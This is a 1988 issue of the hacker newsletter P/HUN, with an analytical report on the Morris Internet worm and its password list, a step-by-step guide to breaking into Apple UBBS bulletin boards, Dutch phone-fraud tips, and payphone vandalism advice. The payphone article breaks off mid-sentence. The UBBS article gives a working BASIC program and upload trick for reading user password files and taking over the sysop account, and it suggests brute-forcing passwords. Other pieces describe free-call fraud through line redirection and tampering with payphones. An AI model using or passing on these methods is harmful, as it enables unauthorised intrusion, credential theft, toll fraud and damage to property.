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P/HUN Volume 1 , Issue #2 (c)88' Articles 8 + Introduction
Released : December 14th 1988 Comments: Christmas Issue
--==> The Hackers Den88 <==--
(718)358/9209
"P/HUN Headquarters"
2600 Bulletin Board System #5
+-------------------------------+
Proudly presents....
-== P/HUN Issue #2 ==-
----------------
Volume 1 , P/HUN Issue #2 - Phile #1 of 9
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
I am proud to say that we have been getting a lot of support from people all
over the States and also some parts of Europe like London & Holand.
Our last newsletter was definately a success even though it was our first
issue.
We at the Hackers Den88 are trying our very best to satisfy our readers.
Listed below are the boards that P/HUN Issues can regularly be found on,
besides The Hackers Den88(Home of P/HUN Newsletter) :
** The Phoenix Project **
** Digital Logic Data Systems **
** The Central Office (2600 BBS #2) **
We are currently looking for someone who could write P/HUN World News.
This segment will contain various news and happenings around the world and
U.S ,pertaining to areas in P/H
If you think you are expeirenced enough handle the job ,let us know.
Hopefully PHUN World News will be in the next issue.
+++++++++++++++++++++++
I would also like to state that The Hackers Den88 is now an official
2600 Magazine Bulletin Board #5. I would to thank "The DataMaster",SysOp
of the The Central Office (2600 BBS #2) for all is help and support.
+++++++++++++++++++++++
If you wish to Subcribe to The 2600 Magazine:
Yearly Subscription: US & Canada -- $15 individual, $40 corporate
Overseas -- $25 individual, $55 corporate
Back Issues available for 1984,1985,1986,1987 at $25 per year, $30 overseas
Send to : 2600 MAGAZINE SUBCRIPTION DEPT.,
P.O Box 752
Middle Island N.Y 11953
Telephone: (516)751/2600
+++++++++++++++++++++++
As you aleardy know P/HUN is always on the look out for good articles that
deal in DEFEATING COMPUTER SECURITY,TELECOMMUNICATIONS,AMATURE RADIO,CABLE
DESCRAMBLING & PYROTECHNICS.
If anyone has the whole list of ANACs for all NPAs ,upload it for the
forecoming issue.
Many have requested articles on Moblile Phreaking,DataNet,Latest with ISDN,
information pertaining to 5ESS and Adjunct Frames.
Mobile Phreaking seems to be at the top of our list.
If you wish to submit to P/HUN please contact me at the Hackers Den88 .
If your article proves to be intresting it will be published in our forecoming
newsletter.
The next issue will be out somewhere in February of 1989.
Have a wonderfull Christmas with best wishes for the Newyear from all of us at
the Hackers Den88.
Well here it is P/HUN Issue #2 .... Enjoy!
Red Knight
SysOp of The Hackers Den88
P/HUN! TSAN!
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Table of Contents:
------------------
# Description Writer Size
-- ------------------------------------------ -------- ----
1 - Introduction & Contents Red Knight 4K
2 - A report on the InterNet Worm Bob Page 16K
3 - Defeating Security of Apple's UBBS Evil Mind 8K
4 - Hacking in Holand & its Numbering Method Rop & Key 10K
5 - Things to do with 'Third Party Payphones' The Jedi 10K
6 - An Indepth Guide in Hacking the Unix + BNU Red Knight 42K
7 - Guide to "The Pick Operating System" Mr. Slippery 13K
8 - A Novice's Guide to Hacking - 1989 Edition The Mentor 42K
9 - Telephone-Controlled Tape Starter NY Hacker 5K
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
= Volume 1 , P/HUN Issue #2 , Phile #2 of 9 =
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
A REPORT ON THE INTERNET WORM
Bob Page
University of Lowell
Computer Science Department
November 7, 1988
[Because of the many misquotes the media have been giving,
this report is Copyright (c) Bob Page, all rights reserved.
Permission is granted to republish this ONLY if you republish
it in its entirety.]
Here's the scoop on the "Internet Worm". Actually it's not a virus -
a virus is a piece of code that adds itself to other programs,
including operating systems. It cannot run independently, but rather
requires that its "host" program be run to activate it. As such, it
has a clear analog to biologic viruses -- those viruses are not
considered live, but they invade host cells and take them over, making
them produce new viruses.
A worm is a program that can run by itself and can propagate a fully
working version of itself to other machines. As such, what was loosed
on the Internet was clearly a worm.
This data was collected through an emergency mailing list set up by
Gene Spafford at Purdue University, for administrators of major
Internet sites - some of the text is included verbatim from that list.
Mail was heavy since the formation of the list; it continues to be on
Monday afternoon - I get at least 2-3 messages every hour. It's
possible that some of this information is incomplete, but I thought
you'd like to know what I know so far.
The basic object of the worm is to get a shell on another machine so
it can reproduce further. There are three ways it attacks: sendmail,
fingerd, and rsh/rexec.
THE SENDMAIL ATTACK:
In the sendmail attack, the worm opens a TCP connection to another
machine's sendmail (the SMTP port), invokes debug mode, and sends a
RCPT TO that requests its data be piped through a shell. That data, a
shell script (first-stage bootstrap) creates a temporary second-stage
bootstrap file called x$,l1.c (where '$' is the current process ID).
This is a small (40-line) C program.
The first-stage bootstrap compiles this program with the local cc and
executes it with arguments giving the Internet hostid/socket/password
of where it just came from. The second-stage bootstrap (the compiled
C program) sucks over two object files, x$,vax.o and x$,sun3.o from
the attacking host. It has an array for 20 file names (presumably for
20 different machines), but only two (vax and sun) were compiled in to
this code. It then figures out whether it's running under BSD or
SunOS and links the appropriate file against the C library to produce
an executable program called /usr/tmp/sh - so it looks like the Bourne
shell to anyone who looked there.
THE FINGERD ATTACK:
In the fingerd attack, it tries to infiltrate systems via a bug in
fingerd, the finger daemon. Apparently this is where most of its
success was (not in sendmail, as was originally reported). When
fingerd is connected to, it reads its arguments from a pipe, but
doesn't limit how much it reads. If it reads more than the internal
512-byte buffer allowed, it writes past the end of its stack. After
the stack is a command to be executed ("/usr/ucb/finger") that
actually does the work. On a VAX, the worm knew how much further from
the stack it had to clobber to get to this command, which it replaced
with the command "/bin/sh" (the bourne shell). So instead of the
finger command being executed, a shell was started with no arguments.
Since this is run in the context of the finger daemon, stdin and
stdout are connected to the network socket, and all the files were
sucked over just like the shell that sendmail provided.
THE RSH/REXEC ATTACK:
The third way it tried to get into systems was via the .rhosts and
/etc/hosts.equiv files to determine 'trusted' hosts where it might be
able to migrate to. To use the .rhosts feature, it needed to actually
get into people's accounts - since the worm was not running as root
(it was running as daemon) it had to figure out people's passwords.
To do this, it went through the /etc/passwd file, trying to guess
passwords. It tried combinations of: the username, the last, first,
last+first, nick names (from the GECOS field), and a list of special
"popular" passwords:
aaa cornelius guntis noxious simon
academia couscous hacker nutrition simple
aerobics creation hamlet nyquist singer
airplane creosote handily oceanography single
albany cretin happening ocelot smile
albatross daemon harmony olivetti smiles
albert dancer harold olivia smooch
alex daniel harvey oracle smother
alexander danny hebrides orca snatch
algebra dave heinlein orwell snoopy
aliases december hello osiris soap
alphabet defoe help outlaw socrates
ama deluge herbert oxford sossina
amorphous desperate hiawatha pacific sparrows
analog develop hibernia painless spit
anchor dieter honey pakistan spring
andromache digital horse pam springer
animals discovery horus papers squires
answer disney hutchins password strangle
anthropogenic dog imbroglio patricia stratford
anvils drought imperial penguin stuttgart
anything duncan include peoria subway
aria eager ingres percolate success
ariadne easier inna persimmon summer
arrow edges innocuous persona super
arthur edinburgh irishman pete superstage
athena edwin isis peter support
atmosphere edwina japan philip supported
aztecs egghead jessica phoenix surfer
azure eiderdown jester pierre suzanne
bacchus eileen jixian pizza swearer
bailey einstein johnny plover symmetry
banana elephant joseph plymouth tangerine
bananas elizabeth joshua polynomial tape
bandit ellen judith pondering target
banks emerald juggle pork tarragon
barber engine julia poster taylor
baritone engineer kathleen praise telephone
bass enterprise kermit precious temptation
bassoon enzyme kernel prelude thailand
batman ersatz kirkland prince tiger
beater establish knight princeton toggle
beauty estate ladle protect tomato
beethoven euclid lambda protozoa topography
beloved evelyn lamination pumpkin tortoise
benz extension larkin puneet toyota
beowulf fairway larry puppet trails
berkeley felicia lazarus rabbit trivial
berliner fender lebesgue rachmaninoff trombone
beryl fermat lee rainbow tubas
beverly fidelity leland raindrop tuttle
bicameral finite leroy raleigh umesh
bob fishers lewis random unhappy
brenda flakes light rascal unicorn
brian float lisa really unknown
bridget flower louis rebecca urchin
broadway flowers lynne remote utility
bumbling foolproof macintosh rick vasant
burgess football mack ripple vertigo
campanile foresight maggot robotics vicky
cantor format magic rochester village
cardinal forsythe malcolm rolex virginia
carmen fourier mark romano warren
carolina fred markus ronald water
caroline friend marty rosebud weenie
cascades frighten marvin rosemary whatnot
castle fun master roses whiting
cat fungible maurice ruben whitney
cayuga gabriel mellon rules will
celtics gardner merlin ruth william
cerulean garfield mets sal williamsburg
change gauss michael saxon willie
charles george michelle scamper winston
charming gertrude mike scheme wisconsin
charon ginger minimum scott wizard
chester glacier minsky scotty wombat
cigar gnu moguls secret woodwind
classic golfer moose sensor wormwood
clusters gorgeous morley serenity yaco
coffee gorges mozart sharks yang
coke gosling nancy sharon yellowstone
collins gouge napoleon sheffield yosemite
commrades graham nepenthe sheldon zap
computer gryphon ness shiva zimmerman
condo guest network shivers
cookie guitar newton shuttle
cooper gumption next signature
[I wouldn't have picked some of these as "popular" passwords, but
then again, I'm not a worm writer. What do I know?]
When everything else fails, it opens /usr/dict/words and tries every
word in the dictionary. It is pretty successful in finding passwords,
as most people don't choose them very well. Once it gets into
someone's account, it looks for a .rhosts file and does an 'rsh'
and/or 'rexec' to another host, it sucks over the necessary files into
/usr/tmp and runs /usr/tmp/sh to start all over again.
Between these three methods of attack (sendmail, fingerd, .rhosts)
it was able to spread very quickly.
THE WORM ITSELF:
The 'sh' program is the actual worm. When it starts up it clobbers
its argv array so a 'ps' will not show its name. It opens all its
necessary files, then unlinks (deletes) them so they can't be found
(since it has them open, however, it can still access the contents).
It then tries to infect as many other hosts as possible - when it
sucessfully connects to one host, it forks a child to continue the
infection while the parent keeps on trying new hosts.
One of the things it does before it attacks a host is connect to the
telnet port and immediately close it. Thus, "telnetd: ttloop: peer
died" in /usr/adm/messages means the worm attempted an attack.
The worm's role in life is to reproduce - nothing more. To do that it
needs to find other hosts. It does a 'netstat -r -n' to find local
routes to other hosts & networks, looks in /etc/hosts, and uses the
yellow pages distributed hosts file if it's available. Any time it
finds a host, it tries to infect it through one of the three methods,
see above. Once it finds a local network (like 129.63.nn.nn for
ulowell) it sequentially tries every address in that range.
If the system crashes or is rebooted, most system boot procedures
clear /tmp and /usr/tmp as a matter of course, erasing any evidence.
However, sendmail log files show mail coming in from user /dev/null
for user /bin/sed, which is a tipoff that the worm entered.
Each time the worm is started, there is a 1/15 chance (it calls
random()) that it sends a single byte to ernie.berkeley.edu on some
magic port, apparently to act as some kind of monitoring mechanism.
THE CRACKDOWN:
Three main 'swat' teams from Berkeley, MIT and Purdue found copies of
the VAX code (the .o files had all the symbols intact with somewhat
meaningful names) and disassembled it into about 3000 lines of C. The
BSD development team poked fun at the code, even going so far to point
out bugs in the code and supplying source patches for it! They have
not released the actual source code, however, and refuse to do so.
That could change - there are a number of people who want to see the
code.
Portions of the code appear incomplete, as if the program development
was not yet finished. For example, it knows the offset needed to
break the BSD fingerd, but doesn't know the correct offset for Sun's
fingerd (which causes it to dump core); it also doesn't erase its
tracks as cleverly as it might; and so on.
The worm uses a variable called 'pleasequit' but doesn't correctly
initialize it, so some folks added a module called _worm.o to the C
library, which is produced from:
int pleasequit = -1;
the fact that this value is set to -1 will cause it to exit after one
iteration.
The close scrutiny of the code also turned up comments on the
programmer's style. Verbatim from someone at MIT:
From disassembling the code, it looks like the programmer
is really anally retentive about checking return codes,
and, in addition, prefers to use array indexing instead of
pointers to walk through arrays.
Anyone who looks at the binary will not see any embedded strings -
they are XOR'ed with 81 (hex). That's how the shell commands are
imbedded. The "obvious" passwords are stored with their high bit set.
Although it spreads very fast, it is somewhat slowed down by the fact
that it drives the load average up on the machine - this is due to all
the encryptions going on, and the large number of incoming worms from
other machines.
[Initially, the fastest defense against the worm is is to create a
directory called /usr/tmp/sh. The script that creates /usr/tmp/sh
from one of the .o files checks to see if /usr/tmp/sh exists, but not
to see if it's a directory. This fix is known as 'the condom'.]
NOW WHAT?
None of the ULowell machines were hit by the worm. When BBN staffers
found their systems infected, they cut themselves off from all other
hosts. Since our connection to the Internet is through BBN, we were
cut off as well. Before we were cut off, I received mail about the
sendmail problem and installed a patch to disable the feature the worm
uses to get in through sendmail. I had made local modifications to
fingerd which changed the offsets, so any attempt to scribble over the
stack would probably have ended up in a core dump.
Most Internet systems running 4.3BSD or SunOS have installed the
necessary patches to close the holes and have rejoined the Internet.
As you would expect, there is a renewed interest in system/network
security, finding and plugging holes, and speculation over what
will happen to the worm's creator.
If you haven't read or watched the news, various log files have named
the responsible person as Robert Morris Jr., a 23-year old doctoral
student at Cornell. His father is head of the National Computer
Security Center, the NSA's public effort in computer security, and has
lectured widely on security aspects of UNIX.
Associates of the student claim the worm was a 'mistake' - that he
intended to unleash it but it was not supposed to move so quickly or
spread so much. His goal (from what I understand) was to have a
program 'live' within the Internet. If the reports that he intended
it to spread slowly are true, then it's possible that the bytes sent
to ernie.berkeley.edu were intended to monitor the spread of the
worm. Some news reports mentioned that he panicked when, via some
"monitoring mechanism" he saw how fast it had propagated.
A source inside DEC reports that although the worm didn't make much
progress there, it was sighted on several machines that wouldn't be
on its normal propagation path, i.e. not gateways and not on the same
subnet. These machines are not reachable from the outside. Morris
was a summer intern at DEC in '87. He might have included names or
addresses he remembered as targets for infesting hidden internal
networks. Most of the DEC machines in question belong to the group he
worked in.
The final word has not been written - I don't think the FBI have even
met with this guy yet. It will be interesting to see what happens.
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
= Volume 1 , P/HUN Issue #2 , Phile #3 of 9 =
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Defeating Security on Apple's UBBS
----------------------------------
Writen by Evil Mind of CTG
Computer Terrorists Guild
Introduction
-------------
Hello fellow hackers are phreakers, I'm here to tell you all about Apple's
UBBS. This is a nice little program that will make any Apple computer with a
modem have the ability to be a bbs. It can be on any storage device, from
a 5.25 disk, to a chain of hard drives. I doubt any hackers or phreakers are
using this program, because everyone (in Apple's world) uses GBBS. So, let's
get down to business.
For flexability, UBBS has been written in BASIC. For our convience, hackers
with a knowledge of universial basic (or better yet, knowledge of Apple BASIC)
will have a good time. The only catch is, the control-c (break basic programs)
is screened out by a ml routine before it hits basic. But, no need to fear,
discussion on hacking it is later.
When a sysop first uses a UBBS program, the sysop must run the program
SYSGEN.... which is for System Generation, the "Creator Program" for the
board. Questions are name of board, sysop's name, bullitin's names,
and other things needed before the next program is run: LOGON... which will
then put the computer in answer mode.
Let's say some guy calls a few days later. The LOGON program will then
display a bbs title, then something like "Enter your name or press <RETURN>
for NEW." So, this guy does a <RETURN> for new... questions are asked, and
then the sysop validates him. Normal procedure like any other bbs program.
Hacking it
-----------
Once in the system, get access to the <F>eatures section which hopefully
has a up/downloading section. If they give a lame excuse of not giving
it to you because of an IBM, lie in the validation part, and say you own an
Apple. First, upload some text file... like a list of bbs numbers. If the
file needs to be validated by the sysop before further access from the public,
then it will be hard to hack it out. (Explained later.)
Now, at least you have some access... hopefully the u/d ratio is 1:1 or
better. So, upload two more files!
File #1
--------
This is the most important file in the hacking process. This file should
contain the following or simular to it: (<CR>=<RETURN>) This is a TEXT file.
------------------------------------------------------------------------------
THIS IS A POEM<CR>
<CR>
<Control-D>CAT<CR>
RAT<CR>
DOG<CR>
PAT<CR>
<CR>
BY MR. WALTHER<CR>
------------------------------------------------------------------------------
File explained:
Well, the control D is needed. If you can't enter it from your word processor,
then enter "DCAT" and go in with a disk editor and change character D into
hex $04, which is a control-d to Apple. Normally, control-d is within programs,
used to run disk commands from basic. When viewed, it will catalog the
current storage device (hard, 3.5, or 5.25) and will be stuck in a "zombie"
mode. Also, when downloading this file, view it, don't use Xmodem. But upload
file #2 with it, so you can hack in one call and delete your tracks.
File #2
--------
Well, this program is supposed to be basic, but since a lot of hackers I
know have IBM's, I'll make it hackable from both Apple and IBM. Make the
following TEXT, that's right, text file.
------------------------------------------------------------------------------
10 ONERR GOTO 1000
20 HOME
30 PRINT "A DISK PREFIXER"
40 PRINT
50 PRINT "<P>REFIX <C>ATALOG <V>IEW <D>ELETE <R>UN"
60 INPUT A$
70 IF A{body}lt;>"P" OR A{body}lt;>"p" THEN 100
80 PRINT "PREFIX WHAT? (RETURN FOR LIST, OR FOLLOW EXAMPLE: /HARD1/BBS"
90 INPUT A$: PRINT CHR$(4);"PREFIX ";A$: GOTO 40
100 IF A{body}lt;>"C" OR A{body}lt;>"c" THEN 120
110 PRINT CHR$(4);"CATALOG": GOTO 40
120 IF A{body}lt;>"D" OR A{body}lt;>"d" THEN 150
130 PRINT "DELETE WHAT FILE?"
140 INPUT A$: PRINT CHR$(4);"DELETE ";A$: GOTO 40
150 IF A{body}lt;>"R" OR A{body}lt;>"r" THEN 180
160 PRINT "RUN WHICH FILE?"
170 INPUT A$: PRINT CHR$(4);"RUN ";A$: GOTO 40
180 IF A{body}lt;>"V" AND A{body}lt;>"v" THEN PRINT "NOT A COMMAND": GOTO 40
190 PRINT "VIEW WHICH FILE?"
200 INPUT A$: PRINT CHR$(4);"OPEN ";A$: PRINT CHR$(4);"READ ";A$
210 ONERR GOTO 230
220 INPUT B$: PRINT B$: GOTO 220
230 PRINT CHR$(4);"CLOSE ";A$: ONERR GOTO 1000
240 GOTO 40
1000 PRINT "ERROR!": CALL -1370
------------------------------------------------------------------------------
Upload the files. When asked about file #2, say it's a TXT file.
Now view file #1. It will catalog (or DIR) the disk,
and then be in a "zombie" state. This is when the basic thinks the disk is
still being read, and is really stuck, for you to enter things. To clear that
up, the INPUT command is used both for keyboard input, or in the correct
conditions (that UBBS uses), disk input from text files!
If you can't see it yet, press a control-D and a disk command. The real
intention is to run file #2, which will do the hacking. But, File#2 and
File#1 might be in a different directory than the transfer program. Use
these commands: (With a control-D before them)
CAT to see what is on the disk.
Example:
]CAT
/HARD1 (PREFIX NAME)
PROGRAMS DIR 10-NOV-88 2
PRODOS SYS 06-APR-81 32
BASIC.SYSTEM SYS 07-APR-81 20
BASIC.PROGRAMS BAS 10-NOV-88 5
ML.PROGRAMS BIN 10-NOV-88 7
READ.ME TXT 10-NOV-88 10
In which case, should explore further with a
]PREFIX /HARD1/PROGRAMS
]CAT
/HARD1/PROGRAMS
LOGON BAS 10-APR-84 54
SYSOP BAS 10-APR-84 34
Once you explore enough to fine your files, do an:
]EXEC file#2
Replace "file#2" with whatever you named the second file.
Note: exploring will take a long time, because you might need to find some
other things to intrest you, like the logon program (which can be in another
directory). When exploring in the zombie state, the computer sometimes zaps out
back into normal running mode. Re-download and start where you left off.
Then it'll go:
A DISK PREFIXER
<P>REFIX <C>ATALOG <D>ELETE <V>IEW <R>UN
?
Then enter the desired one, in this case, "P" and press enter.
Here's how to work them:
Examples: from basic
]PREFIX /HARD1/FILES (to get to the diectory /hard1/files)
]PREFIX /HARD1/ (to get back to /hard1)
]PREFIX (tells you what the current prefix is)
]CATALOG (DIR a disk for you)
]RUN LOGON (Go back to LOGON program)
View is a different thing, and can't be done from basic. In this case,
choose "V" for view, (beforehand, find the userinfo file, a text file.)
And when it goes:
VIEW WHICH FILE?
?
type in a pathname.... example:
VIEW WHICH FILE?
?/HARD1/BBS/USERINFO.DATA
and it'll show the passwords. Explore! There are a lot of things to do. One
last word before you finish, the sysop is 001, find his password, log in as
him, then make all your accounts from there (because he validates and creates
accounts.)
The form for UBBS passwords are:
NNNCCCC where N is a number, and C is a character.
example: 001SYSOP. Also, 001SYSOP is the default password? (I'm not sure, but
I think it is.) Try it on a new board and see if the sysop didn't change it
yet.
So if your victim board doesn't have the requirements, just use a password
scanner and try out 001AAAA 001AAAB and all, and eventually you can get it
in a matter of weeks. (No lowercase or control characters are accepted by
UBBS.)
All in a nutshell, here's another example:
------------------------------------------------------------------------------
Welcome to a UBBS system.
Enter name or press return for new users
XXXXXXX
checking password.
Hello Mr. Bill, today is 00/00/00
news for today:
This is a new board and hope ya enjoy it,
Your sysop, Tom Hacket.
No Email waiting
Email>Quit
Main level:
B/A/G/J/N/F/Q/Help
>Features
loading xfer, please wait...
Xfer command>
Upload
choose protocol:
X>modem
T>ext
Xmodem
(upload files)
70 blocks recieved....
Information:
What is file#1's type:
TXT
What is file#2's type:
TXT
Thank you.
Xfer command>
Download
Download what file?
TEST.UPLOAD (file#1)
THIS IS A POEM
/HARD1/ONLINE
CALLER.LOG 06 TXT
USER.INFO 65 TXT
LOGON 45 BAS
SYSGEN 65 BAS
TEST.UPLOAD 02 TXT
PREFIXER 03 TXT
LEECHES 02 TXT
(Zombie state) (control-D)EXEC PREFIXER(return)
A DISK PREFIXER
<C>ATALOG <V>IEW <R>UN <D>ELETE <P>REFIX
?B
NOT A COMMAND!
<C>ATALOG <V>IEW <R>UN <D>ELETE <P>REFIX
?V
VIEW WHICH FILE?
?USER.INFO
(list of passwords)
<C>ATALOG <V>IEW <R>UN <D>ELETE <P>REFIX
?R
RUN WHICH FILE?
?LOGON
(Automatically hangs up, you re-call, then log in as sysop, and make another
account with good access.)
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
= Volume 1 , P/HUN Issue #2 , Phile #4 of 9 =
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Hacking In Holand & The Numbering Plan
--------------------------------------
By: Rop and The Key
In Holland, hacking started out late. The first real hacks were
done in the early eighties. Among these hacks was the 'RIVM hack',
hacking the computer of the dutch health-inspection (FDA). Because
even patient names were listed here this got a lot of publicity.
Around 1984/1985 the movement grew rapidly because of the movie
'Wargames' and publications in the "Volkskrant", the country's major
left-wing newspaper. It was around these days two students hacked the
'008 computer', the directory-assistance system, owned by our local
Ma-Bell clone, the PTT. Because hackers had access to a lot of
unlisted phone numbers this was front-page news in all of Europe.
Shortly after this hack, Jan Jacobs published the book 'kraken en
computers' (hacking and computers), about the uprise of the hacker
movement in The Netherlands. Jan Jacobs is also a free-lance reporter
for the 'Volkskrant' which explains their scoops on major hacking
events. In those days, he himself was a hacker.
Things remained relatively quiet, although the CCC kept scaring
everybody with their marvelous hacks all over the world over the
packet-network. X-25 hacking in Holland is relatively new, not because
the net was not there, but because it was still to easy to use the
telephone. Only recently dutch hackers discover that the X-25 net
offers them the opportunity to make low-cost global hacks.
Another group had sprung into life in the early eighties, phreaks.
These phreaks concentrated on mobile phones however, because our ATF1
(car-phone 1) system is as leak as a basket. Using a CBM-64 or other
simple hardware and an FM-tranceiver, every weirdo could make free
calls all over the world. This lasted until there were so many illegal
car-phones that the costs began affecting the total PTT turnover.
The PTT then made it impossible for car-phone users to make
international phone calls automatically and told their international
operators to check for fraud carefully. By that time all the phreaks
were rich from selling their technique 'to friends only', and bored
stiff, because the PTT had taken their toy away. There was a new
system, ATF2 (compatible to the scandinavian NMT system), but this was
to complicated (in those days) to hack (considdering these people were
not computer minds but mainly high-frequency experts).
The phreaks met the hackers and they decided their goels were the
same.
The PTT phreaked out when the world found out that some of the leading
hackers had switched to phreaking. When Personal Computer Magazine
published an article about phreaks making free calls all over the
world through an old exchange in Denmark (which could be reached free
of charge), all hell broke loose. The magazine contained our list of
frequencies for the CCITT-4 system, so suddenly everybody was a
phonephreak. The free lines to Denmark were rerouted, some other gaps
were closed, but no action could be taken against the phone phreaks
(The Key and me among others), because no phone-fraud legislation
exists in Holland. Can you imagine what it's like to live in a country
that has NO phone-fraud laws?
Since then things have cooled down (there are only about 40 real
active hackers in the entire country, so things tend to get quiet
every once in a while), but as soon as anything happens, we'll let you
know.
ROP & The Key
Leave a message for ROP GONGGRIJP at NEABBS, Europe's biggest BBS, and
I will give you THIS (The Hacker Information System) privs as soon as
possible. +31 20 717666, all speeds/standards.
---------------------------------------------------------------------------
- AND NOW PART TWO OF THE DUTCH SYSTEM, BY ROP & THE KEY OF NEABBS !!!!!!!-
---------------------------------------------------------------------------
NUMBERING PLAN
The dutch phone system has a numbering plan that is far more
complicated than the american phone system. Telephone numbers can be
divided in several classes:
0XX-YYYYYY[Y] Larger cities. XX is random (very large cities
have a 0 as their last digit).
0XXYY-ZZZZ[Z] Smaller towns. XX is the number of the district
(note: these numbers cannot be handed out to
bigger cities). Holland has some 20 districts,
amsterdam is 29. (the Amsterdam city code is 020)
00X
001X Special numbers, see below.
06-0XXX Free numbers
06-0XXXXXX Free numbers
06-022XXXX International Free Numbers, connect to foreign
companies etc. (we even have a number for
making AT&T calling card calls for free,
06-0229111). When all european borders
disappear in 1992, this group is expected to
grow rapidly!
06-3XXXXXXXX Special high cost numbers, mainly phone-sex (the
owner gets 2.5 $ct./min, the PTT gets 22.5. This
makes the PTT the country's biggest pimp)
06-4XXX Free numbers, explosive. (This means a lot of
traffic at one time, TV-shows and the like)
06-4XXXXXX Free numbers, explosive.
06-51XXXXX Beepers (sorry, paging equipment)
06-52XXXXXX ATF2 (mobile phone system, NMT compatible)
06-524XXXXX ATF1, West and Middle Netherlands
06-525XXXXX ATF1, North Netherlands
06-526XXXXX ATF1, South Netherlands
06-8XXXXXXXX Split costs, the caller pays a portion of the
costs, the called party pays as well (80%+80%=100%
according to phone company arithmatic)
06-9XXXXXXXX Special high cost numbers, no phone-sex
09-....... International access. For the States i.e., we dial
09-1XXXYYYZZZZ. Our country code is 31.
SPECIAL NUMBERS
---------------
002 Speaking clock
003 Weather
004 PTT-customer service (contradictio in terminis)
005 was the mobilophone network (pre-carphone mobile
operator service), now tape telling callers that this
service no longer exists.
006X Used by PTT for mechanics to call in. 0069 always
plays a tape listing the home-phone number of the
mechanic on duty for that region.
007 PTT-repairs (uses pigeons for further internal
communication, judged by their working speed)
008 Directory assistance
009 Was message service, for telex and other services,
their new number is 06-0409. tape.
0010 Was national operator, now 06-0410. tape.
0011 Once planned as a countrywide emergency number. Once
they got to installing it they had the 06 exchange,
which was newer and better, so the discussion started
again...... tape now
0012 Telex number info
0013 Telex repairs
0014
0015
0016 Was international operator, now 06-0410. tape.
0017 Post office customer service
0018 Was international inquiries, now 06-0418. tape
0019 Dead
TARIFFS
-------
A toll-impulse costs 7.5 $ct, impulses are 50 Hz/48V pulses on both
lines (tip and ring, called A and B here), so can only be detected
relative to the ground potential. On modern exchanges you have to pay
for these pulses, as well as for the DTMF-facility (sound familiar?).
Calls cost more in the day time (0800/1800 hrs), than on weekdays.
Within your low-tariff zone (about 30 miles around your home), it's
one tick every 5 minutes, or once every 10 minutes at night, outside
of that zone one tick every 1.5 minutes, 45 seconds at night.
International calls from Holland are terribly expensive, USA costs
$2.00 a minute, but there's a lot of countries that cost over $3.50 a
minute.
SPECIAL THINGS (everybody has some)
--------------
030-555555 for conference calls (operator only, she calls you back,
so phreaks are out of the question). The do-it-yourself
conference has not been invented here (yet).
06-0101 All sorts of special services, addresses from the phone
book (costs $1.25 to get an address!) etc. Also national
collect calls ($2.50 bonus for PTT, $1/min)
- XXX*.....# Some exchanges have this feature. It means you redirect
all calls for your phone to the given number (dots). PTT
offers this service for a lot of money as *21*....#, but
this is different. With the *XXX*...# feature the phone
doesn't ring on the redirected phone (with the *21
feature it does three times before forwarding the call).
The *XXX*....# feature is a non documented feature, even
at the PTT not many people have heard of it. Alas, not
many exchanges feature it. The XXX can easily be found
because if you're one digit off the system reacts with a
nonexistent-tone (three tones, each one higher than the
preceeding one), so there's only 30 possibilities.
Things like call-waiting, or even specified bills do not exist here
(yet). When they come, they'll be expensive, that's for sure.
PTT POLICY
----------
The company has a monopoly on all telecom facilities that expires next
year (1989). Up till now we could not even buy our telephone sets
somewhere else (legally). People finally realised this was ridiculous
and decided to privatise the PTT Telecommunications department. The
PTT remains in charge of the network however, and they can continue
charging ridiculous amounts for it. The state monopoly is enabling the
phone company to suck money from our pockets.
HACKER POLICY
-------------
Redirect phone lines to other numbers (they don't even know it exists,
we do it all the time, to receive free collect calls). This trick
courtesy of The KEY.
Route calls through other countries to make things cheaper. (Spain was
our favourite before they closed it off).
Generally screw 'em......
ROP & THE KEY
You can reach me on NEABBS, Europe's biggest BBS, +31 20 717666, all
speeds/standards. Send a message to me, ROP GONGGRIJP, cosysop of THIS
hacker board (The Hacker Information System).
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
= Volume 1 , P/HUN Issue #2 , Phile #5 of 9 =
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Third Party Payphones
---------------------
By: The Jedi
Theres been alot of discussion lately about paperclipping and redboxing on
payphones so I decided to write up an article about that subject to be
included in this issue of PHUN. Here are a few things that you'd might find
interesting about payphones....
NOTE: All the payphones discussed in this article refer to Non-New York
Telephone PayPhones. There are plenty of third party payphones in New
York. The easiest way to tell if the payphone is from New York Tel is to
look right under the keypad where is says what numbers to dial for
information. All New York Payphones will have their Logo printed
somewhere on that label. If it isn't New York Tel, there will be a
company name and number listed to call for refunds. Thats the company
that owns and operates that perticular payphone.
2 - Ripping off the handsets. Now exactly the best way to phuck over the phone
company but still is fun if you have nothing else to do. Just take a pair
of pliers, grip them, and turn the opposite direction of the way that the
steel is woven. This will expose the wires. Cut the wires, and bring your
handset home with you!!
3 - Breaking into the jack. From what I've seen by repairing payphones, all
the ones that I've seen have a regular phone jack somewhere in the
fortress or nearby. This allows you do do a great many things. First lets
talk about the jack's location.
The fortress phones that have those big green walls to then are the
easiest ones to get into. The location of the jack is in the "Stem". Right
about Knee high there should be a green plate with 6 or so wierd looking
screws holding it in place. To get that panel off requires a special
screwdriver. Somewhat like a "Allen Wrench" with a little hole in the
middle. You can probably pick up a screwdriver like this in most hardware
stores.
On the fortress phones that are silver and skinny, the jack is usually
